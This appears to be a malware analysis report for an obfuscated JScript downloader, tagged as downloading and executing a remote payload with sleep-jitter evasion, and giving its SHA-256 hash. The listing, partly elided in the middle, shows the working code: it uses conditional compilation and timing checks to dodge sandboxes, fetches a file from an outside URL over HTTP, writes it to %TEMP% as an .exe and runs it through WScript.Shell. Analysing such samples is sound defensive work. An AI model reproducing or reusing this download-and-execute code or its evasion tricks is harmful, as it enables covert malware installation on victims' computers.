20160328_faac6019b4672c4df9c2d61665ea2f32.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256e01118142c33ed5419b4b2a23fec35705b8b3bf553c89487148b3c19c587a953
Evidence
1var Hhuff = false;
2var Hrhrngw = "CreateObject";
3var Tzgth = function Fgowugbe() {return WScript[Hrhrngw]("WScript.Shell");}();
4var Riblbkdh = 123213;
5var Zfuplij = "MSXML2.XMLHTTP";
6var Hzossx = 2123213;
7var Acvqexh = 0;
8function Snadsnigl(Cuzmressfd){Tzgth["Run"](Cuzmressfd, Acvqexh, Acvqexh);};
9function Tejdob(){return Zfuplij;};
10function Zvgewrwme(Xxpnrczpap, Yxzemvebj){return Xxpnrczpap - Yxzemvebj;};
11function Bzxwigadxj(){return Hrhrngw;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Hhuff = true;
15 @end
16@*/
17var Wkmqjhuoz = "";
18if (Hhuff)
19{
20function Efqfm(){return 22;};
21var Ptktfbbt = 0; var Czuecgxmxr = 0;
22function Mczsuwg()
23{
24var Mwozhgj = new this["Date"]();
25var Mthkk = Mwozhgj["getUTCMilliseconds"]();
26WScript["Sleep"](Efqfm());
27var Mwozhgj = new this["Date"]();
28var Ertcrbz = Mwozhgj["getUTCMilliseconds"]();
29WScript["Sleep"](Efqfm());
30var Mwozhgj = new this["Date"]();
31var Itvnop = Mwozhgj["getUTCMilliseconds"]();
32var Ptktfbbt = "Yhtmhgldvz";
33Ptktfbbt = Zvgewrwme(Ertcrbz, Mthkk);
34var Czuecgxmxr = "Vgtlghahs";
35Czuecgxmxr = Zvgewrwme(Itvnop, Ertcrbz);
36Wkmqjhuoz = "open";
37return Zvgewrwme(Ptktfbbt, Czuecgxmxr);
38}
39var Ngnmjnrz = false;
40var Naanr = false;
41for (var Yugznpbw = Acvqexh; Yugznpbw < Efqfm() * 1; Yugznpbw++){if (Mczsuwg() != Acvqexh){
42Ngnmjnrz …
49:2… f (Ngnmjnrz && Onapojvv() && Naanr){
50function Hfrzex() {return Tzgth["ExpandEnvironmentStrings"]("%TEMP%/") + "n7G3Z02u.exe";};
51 Tokibf = Tejdob();
52 Eqcnc = WScript[Hrhrngw](Tokibf);
53 var Buhgob = 1;
54 while (Buhgob){
55try {
56Eqcnc[Wkmqjhuoz]("GET", "http://www.creative-drumschool.de/p3isakd", false);
57Eqcnc["send"]();
58Jfjou = "Sleep";
59do {WScript[Jfjou](Efqfm() * 11)} while (Eqcnc["readystate"] < 4 );
60Buhgob = Acvqexh;
61} catch(Mtwrhizgx){Buhgob = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ujzmuyaht(Peonexboig) {var Xyhut = (1, 2, 3, 4, 5, Peonexboig); return Xyhut;};
64Hnmrv = WScript[Bzxwigadxj()]("ADODB.Stream");
65Tokibf = Hnmrv;
66Tokibf[Wkmqjhuoz]();
67Tokibf["type"] = Ujzmuyaht(1);
68Tokibf["write"](Eqcnc["ResponseBody"]);
69Hnmrv["position"] = Ujzmuyaht(Acvqexh);
70Tokibf["SaveToFile"](Hfrzex(), Ujzmuyaht(2) );
71Hnmrv["close"]();
72Snadsnigl(Hfrzex());
73}
74}
75